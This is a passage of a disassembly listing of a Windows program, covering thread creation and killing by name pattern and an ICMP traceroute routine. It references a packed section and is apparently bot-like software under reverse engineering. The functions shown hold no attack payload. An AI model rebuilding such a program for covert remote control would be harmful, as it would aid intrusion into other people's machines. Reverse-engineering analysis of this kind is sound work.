		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	esi, [eax]
		mov	[ebp+var_20], esi
		mov	edi, [eax+4]
		mov	[ebp+var_1C], edi
		push	eax
		call	sub_4114CA	; free
		pop	ecx
		push	esi
		call	dword_4120E0
		test	eax, eax
		jz	short loc_406C24
		cmp	dword_4191D8, 0
		jz	short loc_406C46
		push	esi
		push	offset dword_41447C
		push	offset dword_418E50
		call	sub_409659
		add	esp, 0Ch
		jmp	short loc_406C46
; ---------------------------------------------------------------------------

loc_406C24:				; CODE XREF: sub_406BBC+48j
		push	edi
		call	esi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406C4C
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]

loc_406C46:				; CODE XREF: sub_406BBC+51j
					; sub_406BBC+66j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax

loc_406C4C:				; CODE XREF: sub_406BBC+6Fj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C5D	proc near		; CODE XREF: sub_4056AC+F9p
					; sub_40719C+21p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	8
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406CAD
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	esi
		push	offset sub_406BBC
		push	20000h
		push	0
		call	sub_411760	; _beginthreadex
		add	esp, 18h
		test	eax, eax
		jz	short loc_406CA6
		push	eax
		call	dword_4120AC	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_406CAF
; ---------------------------------------------------------------------------

loc_406CA6:				; CODE XREF: sub_406C5D+3Bj
		push	esi
		call	sub_4114CA	; free
		pop	ecx

loc_406CAD:				; CODE XREF: sub_406C5D+11j
		xor	eax, eax

loc_406CAF:				; CODE XREF: sub_406C5D+47j
		pop	esi
		leave
		retn
sub_406C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CB2	proc near		; DATA XREF: sub_406D58+C9o

var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_412298
		push	offset sub_41175A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_4191D0
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1A0], ecx
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+10h]
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406D47
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax

loc_406D47:				; CODE XREF: sub_406CB2+72j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406CB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D58	proc near		; CODE XREF: sub_4014B0+79p
					; sub_4018D5+78p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset dword_419678
		call	sub_407200
		cmp	dword_419690, 10h
		pop	ecx
		jnz	short loc_406D83
		push	[ebp+arg_4]
		call	sub_4114CA	; free
		pop	ecx
		xor	ebx, ebx
		jmp	loc_406E5D
; ---------------------------------------------------------------------------

loc_406D83:				; CODE XREF: sub_406D58+19j
		mov	ecx, dword_419698
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		mov	edi, 198h
		jz	short loc_406DA9
		xor	edx, edx
		lea	eax, [ecx+10h]

loc_406D9A:				; CODE XREF: sub_406D58+4Fj
		mov	esi, [ebp+arg_0]
		cmp	[eax], esi
		jz	short loc_406DBD
		inc	edx
		add	eax, edi
		cmp	edx, 10h
		jl	short loc_406D9A

loc_406DA9:				; CODE XREF: sub_406D58+3Bj
		mov	[ebp+var_4], ebx
		xor	edx, edx
		lea	eax, [ecx+8]

loc_406DB1:				; CODE XREF: sub_406D58+63j
		cmp	[eax], ebx
		jz	short loc_406DCB
		inc	edx
		add	eax, edi
		cmp	edx, 10h
		jl	short loc_406DB1

loc_406DBD:				; CODE XREF: sub_406D58+47j
					; sub_406D58+82j
		push	[ebp+arg_4]
		call	sub_4114CA	; free
		pop	ecx
		jmp	loc_406E5D
; ---------------------------------------------------------------------------

loc_406DCB:				; CODE XREF: sub_406D58+5Bj
		mov	eax, edx
		imul	eax, 198h
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	[eax], edx
		jz	short loc_406DBD
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		cmp	esi, ebx
		jz	short loc_406DE8
		mov	[esi], eax

loc_406DE8:				; CODE XREF: sub_406D58+8Cj
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+arg_C]
		add	eax, 14h
		push	eax
		call	sub_411766	; vsprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	ecx, esi
		mov	[eax+4], ebx
		inc	dword_419690
		mov	eax, [ebp+var_4]
		cmp	esi, ebx
		jnz	short loc_406E1B
		mov	ecx, eax

loc_406E1B:				; CODE XREF: sub_406D58+BFj
		add	eax, 0Ch
		push	eax
		push	ebx
		push	ecx
		push	offset sub_406CB2
		push	ebx
		push	ebx
		call	sub_411760	; _beginthreadex
		mov	ecx, [ebp+var_4]
		add	esp, 18h
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		cmp	[eax+8], ebx
		jnz	short loc_406E5A
		push	esi
		call	sub_4114CA	; free
		dec	dword_419690
		push	edi
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 10h
		jmp	short loc_406E5D
; ---------------------------------------------------------------------------

loc_406E5A:				; CODE XREF: sub_406D58+E4j
		push	1
		pop	ebx

loc_406E5D:				; CODE XREF: sub_406D58+26j
					; sub_406D58+6Ej ...
		push	offset dword_419678
		call	sub_40720B
		pop	ecx
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_406D58	endp


; =============== S U B	R O U T	I N E =======================================



sub_406E6F	proc near		; CODE XREF: sub_4011C4+2DEp
					; sub_401621+277p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_419678
		push	edi
		push	esi
		call	sub_407200
		mov	edi, [esp+0Ch+arg_0]
		dec	dword_419690
		pop	ecx
		push	dword ptr [edi+8]
		call	dword_4120AC	; CloseHandle
		push	198h
		push	0
		push	edi
		call	sub_4114E8	; memset
		push	esi
		call	sub_40720B
		add	esp, 10h
		pop	edi
		pop	esi
		retn
sub_406E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406EA9	proc near		; CODE XREF: sub_407A76+912p

var_188		= byte ptr -188h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 188h
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	edi
		jz	loc_406F80
		push	esi
		call	sub_4059F0
		test	al, al
		pop	ecx
		jz	short loc_406F07
		push	esi
		call	sub_41151C	; atoi
		mov	edi, offset dword_419678
		mov	esi, eax
		push	edi
		call	sub_407200
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jnb	short loc_406EFE
		imul	esi, 198h
		mov	eax, dword_419698
		add	eax, esi
		cmp	dword ptr [eax+8], 0
		jz	short loc_406EFE
		mov	dword ptr [eax+4], 1

loc_406EFE:				; CODE XREF: sub_406EA9+39j
					; sub_406EA9+4Cj
		push	edi
		call	sub_40720B
		pop	ecx
		jmp	short loc_406F80
; ---------------------------------------------------------------------------

loc_406F07:				; CODE XREF: sub_406EA9+1Fj
		push	ebx
		push	esi
		push	offset aS	; "*%s*"
		lea	eax, [ebp+var_188]
		push	185h
		push	eax
		call	sub_41152E	; _snprintf
		mov	edi, offset dword_419678
		push	edi
		call	sub_407200
		mov	ebx, dword_419690
		add	esp, 14h
		xor	esi, esi

loc_406F35:				; CODE XREF: sub_406EA9+CDj
		mov	eax, dword_419698
		add	eax, esi
		cmp	dword ptr [eax+8], 0
		jz	short loc_406F6A
		lea	ecx, [ebp+var_188]
		add	eax, 14h
		push	ecx
		push	eax
		dec	ebx
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_406F66
		mov	eax, dword_419698
		mov	dword ptr [esi+eax+4], 1

loc_406F66:				; CODE XREF: sub_406EA9+AEj
		test	ebx, ebx
		jz	short loc_406F78

loc_406F6A:				; CODE XREF: sub_406EA9+97j
		add	esi, 198h
		cmp	esi, 1980h
		jb	short loc_406F35

loc_406F78:				; CODE XREF: sub_406EA9+BFj
		push	edi
		call	sub_40720B
		pop	ecx
		pop	ebx

loc_406F80:				; CODE XREF: sub_406EA9+10j
					; sub_406EA9+5Cj
		pop	edi
		pop	esi
		leave
		retn
sub_406EA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F84	proc near		; CODE XREF: sub_407A76+943p

var_18C		= dword	ptr -18Ch
var_188		= byte ptr -188h
arg_0		= dword	ptr  4

		sub	esp, 18Ch
		push	ebp
		push	esi
		mov	esi, [esp+194h+arg_0]
		xor	ebp, ebp
		cmp	esi, ebp
		push	edi
		jz	loc_4070A5
		push	esi
		call	sub_4059F0
		test	al, al
		pop	ecx
		jz	short loc_407008
		push	esi
		call	sub_41151C	; atoi
		mov	edi, offset dword_419678
		mov	esi, eax
		push	edi
		call	sub_407200
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jnb	short loc_406FFC
		imul	esi, 198h
		mov	eax, dword_419698
		add	eax, esi
		cmp	[eax+8], ebp
		jz	short loc_406FFC
		dec	dword_419690
		mov	esi, [eax+8]
		push	198h
		push	ebp
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		push	ebp
		push	esi
		call	dword_4120E4
		push	esi
		call	dword_4120AC	; CloseHandle

loc_406FFC:				; CODE XREF: sub_406F84+3Dj
					; sub_406F84+4Fj
		push	edi
		call	sub_40720B
		pop	ecx
		jmp	loc_4070A5
; ---------------------------------------------------------------------------

loc_407008:				; CODE XREF: sub_406F84+23j
		push	ebx
		push	esi
		push	offset aS	; "*%s*"
		lea	eax, [esp+1A4h+var_188]
		push	185h
		push	eax
		call	sub_41152E	; _snprintf
		push	offset dword_419678
		call	sub_407200
		mov	eax, dword_419690
		add	esp, 14h
		mov	[esp+19Ch+var_18C], eax
		xor	edi, edi
		mov	ebx, 198h

loc_40703B:				; CODE XREF: sub_406F84+113j
		mov	eax, dword_419698
		add	eax, edi
		cmp	[eax+8], ebp
		jz	short loc_40708F
		dec	[esp+19Ch+var_18C]
		lea	ecx, [esp+19Ch+var_188]
		add	eax, 14h
		push	ecx
		push	eax
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_407089
		mov	eax, dword_419698
		dec	dword_419690
		add	eax, edi
		push	ebx
		push	ebp
		push	eax
		mov	esi, [eax+8]
		call	sub_4114E8	; memset
		add	esp, 0Ch
		push	ebp
		push	esi

loc_40707C:				; DATA XREF: .packed:00415DF8o
					; .packed:00415E0Co ...
		call	dword_4120E4
		push	esi
		call	dword_4120AC	; CloseHandle

loc_407089:				; CODE XREF: sub_406F84+D9j
		cmp	[esp+19Ch+var_18C], ebp
		jz	short loc_407099

loc_40708F:				; CODE XREF: sub_406F84+C1j
		add	edi, ebx
		cmp	edi, 1980h
		jb	short loc_40703B

loc_407099:				; CODE XREF: sub_406F84+109j
		push	offset dword_419678
		call	sub_40720B
		pop	ecx
		pop	ebx

loc_4070A5:				; CODE XREF: sub_406F84+14j
					; sub_406F84+7Fj
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 18Ch
		retn
sub_406F84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070AF	proc near		; DATA XREF: sub_40719C+1Co

var_1B0		= dword	ptr -1B0h
var_1A4		= byte ptr -1A4h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		push	1A3h
		lea	eax, [ebp+var_1A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	eax, dword_419690
		add	esp, 10h
		test	eax, eax
		jz	loc_407183
		push	esi
		push	edi
		push	10h
		push	eax
		lea	eax, [ebp+var_1A4]
		push	offset dword_4144F4
		push	eax
		call	sub_4096CB
		mov	esi, offset dword_419678
		push	esi
		call	sub_407200
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		add	esp, 14h
		xor	edi, edi

loc_407112:				; CODE XREF: sub_4070AF+C5j
		mov	eax, dword_419698
		cmp	dword ptr [edi+eax+8], 0
		jz	short loc_407165
		push	esi
		call	sub_40720B
		mov	[esp+1B0h+var_1B0], 3E8h
		call	dword_4120A4	; Sleep
		push	esi
		call	sub_407200
		mov	eax, dword_419698
		pop	ecx
		lea	eax, [edi+eax+14h]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	[ebp+arg_0]
		push	offset dword_4144E4
		push	eax
		call	sub_4096CB
		mov	eax, dword_419698
		add	esp, 10h
		cmp	dword ptr [edi+eax+4], 0
		jnz	short loc_407176

loc_407165:				; CODE XREF: sub_4070AF+6Dj
		inc	[ebp+arg_0]
		add	edi, 198h
		cmp	edi, 1980h
		jl	short loc_407112

loc_407176:				; CODE XREF: sub_4070AF+B4j
		push	esi
		call	sub_40720B
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		jmp	short locret_407198
; ---------------------------------------------------------------------------

loc_407183:				; CODE XREF: sub_4070AF+2Fj
		lea	eax, [ebp+var_1A4]
		push	offset dword_4144C4
		push	eax
		call	sub_4096CB
		pop	ecx
		xor	eax, eax
		pop	ecx

locret_407198:				; CODE XREF: sub_4070AF+D2j
		leave
		retn	4
sub_4070AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40719C	proc near		; CODE XREF: sub_407A76+6D3p

arg_0		= dword	ptr  4

		push	esi
		push	1A3h
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		jz	short loc_4071D0
		mov	esi, [esp+4+arg_0]
		push	esi
		push	eax
		call	sub_40457C
		push	esi
		push	offset sub_4070AF
		call	sub_406C5D
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4071D0
		push	esi
		call	sub_4114CA	; free
		pop	ecx

loc_4071D0:				; CODE XREF: sub_40719C+Ej
					; sub_40719C+2Bj
		pop	esi
		retn
sub_40719C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071D2	proc near		; CODE XREF: sub_4045B7+6p
					; sub_406B98+1Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	18h
		push	0
		push	esi
		call	sub_4114E8	; memset
		mov	eax, dword_4191E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4071F7
		push	80000400h
		push	esi
		call	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4071F7:				; CODE XREF: sub_4071D2+19j
		push	esi
		call	dword_4120E8
		pop	esi
		retn
sub_4071D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_407200	proc near		; CODE XREF: sub_404639+11p
					; sub_406D58+Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4120EC
		retn
sub_407200	endp


; =============== S U B	R O U T	I N E =======================================



sub_40720B	proc near		; CODE XREF: sub_404639+20Ep
					; sub_406D58+10Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4120F4
		retn
sub_40720B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407216	proc near		; CODE XREF: sub_40287C+13p
					; sub_40D6E0+44Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	esi
		pop	ebp
		retn
sub_407216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407227	proc near		; CODE XREF: sub_403338+14p
					; sub_403338+20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	esi
		pop	ebp
		retn
sub_407227	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407237	proc near		; CODE XREF: sub_4072FC+13Bp

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	dword_41969C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40725A
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_411778	; printf
		pop	ecx
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40725A:				; CODE XREF: sub_407237+12j
		push	ebx
		push	esi
		push	edi
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_4114E8	; memset
		movzx	esi, [ebp+arg_10]
		mov	al, [ebp+arg_8]
		push	esi
		mov	[ebp+var_C], al
		call	sub_411772	; ??2@YAPAXI@Z
		mov	ebx, eax
		push	esi
		push	45h
		push	ebx
		call	sub_4114E8	; memset
		add	esp, 1Ch
		cmp	[ebp+arg_10], 8
		jnb	short loc_407293
		push	8
		pop	eax
		jmp	short loc_407295
; ---------------------------------------------------------------------------

loc_407293:				; CODE XREF: sub_407237+55j
		mov	eax, esi

loc_407295:				; CODE XREF: sub_407237+5Aj
		lea	esi, [eax+1Ch]
		push	esi
		call	sub_411772	; ??2@YAPAXI@Z
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_C]
		push	esi
		push	edi
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	dword_4196A8
		cmp	eax, 1
		jz	short loc_4072CF
		call	dword_41206C	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_4072DD
; ---------------------------------------------------------------------------

loc_4072CF:				; CODE XREF: sub_407237+89j
		mov	eax, [ebp+arg_4]
		mov	ecx, [edi]
		mov	[eax+4], ecx
		mov	ecx, [edi+8]
		mov	[eax+8], ecx

loc_4072DD:				; CODE XREF: sub_407237+96j
		push	[ebp+var_4]
		call	dword_4196A4
		push	ebx
		call	sub_41176C	; ??3@YAXPAX@Z
		push	edi
		call	sub_41176C	; ??3@YAXPAX@Z
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072FC	proc near		; DATA XREF: sub_40756C+C9o

var_2D8		= byte ptr -2D8h
var_135		= byte ptr -135h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D8h
		push	ebx
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		xor	ebx, ebx
		add	esp, 10h
		cmp	byte_4196B0, bl
		jnz	short loc_407387
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_41205C	; LoadLibraryA
		cmp	eax, ebx
		mov	dword_4196A0, eax
		jz	loc_40752B
		mov	esi, dword_412060
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		mov	dword_41969C, eax
		push	dword_4196A0
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		mov	dword_4196A8, eax
		push	dword_4196A0
		call	esi	; GetProcAddress
		mov	dword_4196A4, eax
		mov	byte_4196B0, 1

loc_407387:				; CODE XREF: sub_4072FC+33j
		cmp	dword_41969C, ebx
		jz	loc_40752B
		cmp	dword_4196A8, ebx
		jz	loc_40752B
		cmp	dword_4196A4, ebx
		jz	loc_40752B
		lea	eax, [ebp+var_135]
		push	eax
		call	dword_412254	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jnz	short loc_4073EB
		lea	eax, [ebp+var_135]
		push	eax
		call	dword_41224C	; gethostbyname
		cmp	eax, ebx
		jz	loc_407466
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch

loc_4073EB:				; CODE XREF: sub_4072FC+C2j
		cmp	[ebp+var_35], 1
		mov	[ebp+var_20], ebx
		mov	byte ptr [ebp+arg_0], 1
		jb	loc_40752B

loc_4073FC:				; CODE XREF: sub_4072FC+229j
		cmp	[ebp+var_20], ebx
		jnz	loc_40752B
		or	[ebp+var_C], 0FFFFFFFFh
		xor	esi, esi
		xor	edi, edi
		cmp	[ebp+var_30], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ebx
		jbe	short loc_407482

loc_407424:				; CODE XREF: sub_4072FC+184j
		cmp	esi, ebx
		jnz	short loc_407482
		push	20h
		lea	eax, [ebp+var_2C]
		push	[ebp+var_34]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_18]
		call	sub_407237
		add	esp, 14h
		test	eax, eax
		jz	loc_40752B
		mov	eax, [ebp+var_2C]
		cmp	eax, ebx
		jnz	short loc_407476
		mov	eax, [ebp+var_24]
		add	[ebp+var_1C], eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40745C
		mov	[ebp+var_C], eax

loc_40745C:				; CODE XREF: sub_4072FC+15Bj
		cmp	eax, [ebp+var_4]
		jbe	short loc_40747C
		mov	[ebp+var_4], eax
		jmp	short loc_40747C
; ---------------------------------------------------------------------------

loc_407466:				; CODE XREF: sub_4072FC+D3j
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_411778	; printf
		pop	ecx
		jmp	loc_40752B
; ---------------------------------------------------------------------------

loc_407476:				; CODE XREF: sub_4072FC+150j
		push	1
		mov	[ebp+var_14], eax
		pop	esi

loc_40747C:				; CODE XREF: sub_4072FC+163j
					; sub_4072FC+168j
		inc	edi
		cmp	edi, [ebp+var_30]
		jb	short loc_407424

loc_407482:				; CODE XREF: sub_4072FC+126j
					; sub_4072FC+12Aj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_10], eax
		jnz	short loc_4074E8
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		div	[ebp+var_30]
		push	2
		push	4
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_412234	; gethostbyaddr
		cmp	eax, ebx
		jz	loc_407534
		movzx	ecx, byte ptr [ebp+var_10+3]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10+2]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10+1]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10]
		push	ecx
		push	dword ptr [eax]
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_41459C
		push	eax
		call	sub_4096CB
		add	esp, 2Ch
		jmp	short loc_40750D
; ---------------------------------------------------------------------------

loc_4074E8:				; CODE XREF: sub_4072FC+18Fj
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_14]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_414574
		push	eax
		call	sub_4096CB
		add	esp, 10h

loc_40750D:				; CODE XREF: sub_4072FC+1EAj
					; sub_4072FC+26Ej
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_10]
		jnz	short loc_40751C
		mov	[ebp+var_20], 1

loc_40751C:				; CODE XREF: sub_4072FC+217j
		inc	byte ptr [ebp+arg_0]
		mov	al, byte ptr [ebp+arg_0]
		cmp	al, [ebp+var_35]
		jbe	loc_4073FC

loc_40752B:				; CODE XREF: sub_4072FC+47j
					; sub_4072FC+91j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407534:				; CODE XREF: sub_4072FC+1ACj
		movzx	eax, byte ptr [ebp+var_10+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_10+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_10+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_10]
		push	eax
		push	[ebp+var_4]
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_414548
		push	eax
		call	sub_4096CB
		add	esp, 28h
		jmp	short loc_40750D
sub_4072FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40756C	proc near		; CODE XREF: sub_407A76+9A3p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		jnz	short loc_40758D
		push	offset unk_414620
		push	[ebp+arg_0]
		call	sub_4096CB
		pop	ecx

loc_407587:				; CODE XREF: sub_40756C+E0j
		pop	ecx
		jmp	loc_407658
; ---------------------------------------------------------------------------

loc_40758D:				; CODE XREF: sub_40756C+Bj
		push	2ACh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_407658
		push	1A3h
		push	[ebp+arg_0]
		push	esi
		call	sub_4114D0	; memcpy
		push	[ebp+arg_4]
		lea	eax, [esi+1A3h]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 14h
		cmp	[ebp+arg_8], edi
		jz	short loc_4075E2
		push	[ebp+arg_8]
		call	sub_41151C	; atoi
		cmp	eax, 0FFh
		pop	ecx
		jg	short loc_4075E2
		push	[ebp+arg_8]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_4075E5
; ---------------------------------------------------------------------------

loc_4075E2:				; CODE XREF: sub_40756C+59j
					; sub_40756C+69j
		push	1Eh
		pop	eax

loc_4075E5:				; CODE XREF: sub_40756C+74j
		cmp	[ebp+arg_C], edi
		mov	[esi+2A3h], al
		jz	short loc_40760B
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		cmp	eax, 927C0h
		pop	ecx
		jg	short loc_40760B
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_407610
; ---------------------------------------------------------------------------

loc_40760B:				; CODE XREF: sub_40756C+82j
					; sub_40756C+92j
		mov	eax, 7530h

